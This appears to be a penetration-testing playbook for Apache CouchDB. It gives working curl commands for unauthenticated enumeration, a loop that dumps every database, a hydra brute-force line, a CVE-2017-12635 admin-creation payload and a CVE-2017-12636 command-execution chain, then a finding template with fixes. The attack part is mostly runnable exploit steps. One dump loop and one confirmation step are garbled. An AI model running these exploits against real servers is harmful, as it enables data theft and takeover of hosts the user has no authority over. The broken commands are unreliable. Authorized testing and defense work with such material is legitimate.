Testing Apache CouchDB document databases (default HTTP port 5984, HTTPS 6984) for unauthenticated/admin-party access, database dumping over the REST API, default/weak credentials, the CVE-2017-12635 privilege-escalation admin-creation bug and CVE-2017-12636/CVE-2018-8007 remote-code-execution paths, plus Erlang EPMD cookie abuse during authorized engagements.
Testing Apache CouchDB document databases (default HTTP port 5984, HTTPS 6984) for unauthenticated/admin-party access, database dumping over the REST API, default/weak credentials, the CVE-2017-12635 privilege-escalation admin-creation bug and CVE-2017-12636/CVE-2018-8007 remote-code-execution paths, plus Erlang EPMD cookie abuse during authorized engagements.
Unauthenticated "admin party" access → full dump — the #1 miss. With no admin configured, anyone can read/write all databases.
How to CONFIRM: curl http://<IP>:5984/_all_dbs returns the DB list (not 401 {"error":"unauthorized"}). A 401 on / means creds are required and even the banner is hidden.
Default / weak credentials — when auth is on, try common admin pairs.
How to CONFIRM: curl http://user:pass@<IP>:5984/_all_dbs returns the DB list; brute force HTTP basic auth.
CVE-2017-12635 — privilege escalation (duplicate JSON keys) — Erlang vs JavaScript JSON parser disagreement lets an unauthenticated user create an admin by sending duplicate roles keys.
How to CONFIRM: curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' http://<IP>:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" then login as hacktricks:hacktricks with _admin role.
CVE-2017-12636 — RCE via query servers / config — an admin can register a malicious query_servers/os_daemons entry and trigger it through a design-document view, executing OS commands as the CouchDB user.
How to CONFIRM: with , then create a design doc with — the command runs. Chains directly off CVE-2017-12635.
PUT /_node/couchdb@localhost/_config/query_servers/cmd
"/path/cmd"
"language":"cmd"
CVE-2018-8007 — RCE via cors/origins config injection — when local.ini is writable, inject an [os_daemons] entry through the CORS origins config; it executes on restart.
Erlang EPMD cookie abuse (port 4369) — if 4369 is exposed and the Erlang cookie (e.g. seen in ps as monster) is known/guessable, connect as a distributed Erlang node for RCE.
curl http://<IP>:5984/_all_dbs # try unauthenticated first
curl http://admin:password@<IP>:5984/_all_dbs # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /_all_dbs
# Or CVE-2017-12635 to MINT your own admin (see below)
Step 3: Exploit / Extract (dump documents + RCE)
# Dump every database -> all docs -> document contentsfor db in $(curl -s http://<IP>:5984/_all_dbs | tr -d '[]"' | tr','' '); doecho"== $db =="; curl -s "http://<IP>:5984/$db/_all_docs?include_docs=true"done
curl -s http://<IP>:5984/<db>/_all_docs # list ids
curl -s http://<IP>:5984/<db>/<id> # read a document
# CVE-2017-12635: create an admin user with no prior auth
curl -X PUT -d '{"type":"user","name":"pwn","roles":["_admin"],"roles":[],"password":"pwn"}' \
http://<IP>:5984/_users/org.couchdb.user:pwn -H "Content-Type:application/json"
# CVE-2017-12636: admin -> RCE via query_servers + design-doc view (CouchDB 2.x path)
curl http://pwn:pwn@<IP>:5984/_membership
curl -X PUT 'http://pwn:pwn@<IP>:5984/_node/couchdb@localhost/_config/query_servers/cmd' \
-d '"/sbin/ifconfig > /tmp/df"'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df/zero' -d '{"_id":"HTP"}'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df/_design/zero' \
-d '{"_id":"_design/zero","views":{"anything":{"map":""}},"language":"cmd"}'
Public exploit code (exp.py / EDB 44913) for the query-server RCE chain.
EPMD / erl
Distributed Erlang node connection for cookie-based RCE on 4369.
Common Scenarios
Scenario 1: Admin party → full dump
curl http://<IP>:5984/_all_dbs returns ["_users","passwords","simpsons"] with no auth. Iterating _all_docs?include_docs=true exfiltrates every document, including the _users password hashes.
Scenario 2: Unauth → admin → RCE
The tester mints an admin with CVE-2017-12635, then chains CVE-2017-12636 by registering a query_servers command and triggering it via a design-doc view, gaining OS command execution as the couchdb user.
Scenario 3: Erlang cookie pivot
EPMD on 4369 is exposed and ps reveals the Erlang cookie. The tester joins as a distributed Erlang node and executes commands on the CouchDB host.
Output Format
## CouchDB Finding
**Service**: Apache CouchDB
**Port**: 5984/tcp (CouchDB 2.0.0)
**Severity**: Critical
**Finding**: Unauthenticated access plus CVE-2017-12635 privilege escalation
**Evidence**:
- curl http://<IP>:5984/_all_dbs -> ["_users","passwords","simpsons"] (no auth)
- PUT _users/org.couchdb.user:pwn with duplicate roles -> admin "pwn" created
- login pwn:pwn confirmed _admin role
**Impact**: Unauthenticated data theft and admin takeover, leading to remote code execution via query-server config.
**Recommendation**:
1. Configure an admin user to end "admin party" and require authentication.
2. Restrict 5984/6984/5986/4369 by firewall; never expose to untrusted networks.
3. Upgrade to patch CVE-2017-12635/12636 and CVE-2018-8007; keep local.ini non-writable by the service.
4. Set a strong, unique Erlang cookie and isolate cluster traffic.
